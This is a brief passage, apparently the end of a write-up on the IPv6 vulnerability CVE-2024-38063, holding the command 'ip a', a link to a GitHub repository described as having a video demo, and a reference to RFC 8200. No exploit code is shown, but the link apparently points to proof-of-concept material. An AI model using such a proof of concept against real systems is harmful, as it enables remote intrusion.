ip a
--------------------------------------------------------
Repo Link: https://github.com/hibaNITT/CVE-2024-38063(with video demo)
---------------------------------------------------------

9. References

RFC 8200: STD 86: Internet Protocol, Version 6 (IPv6) Specification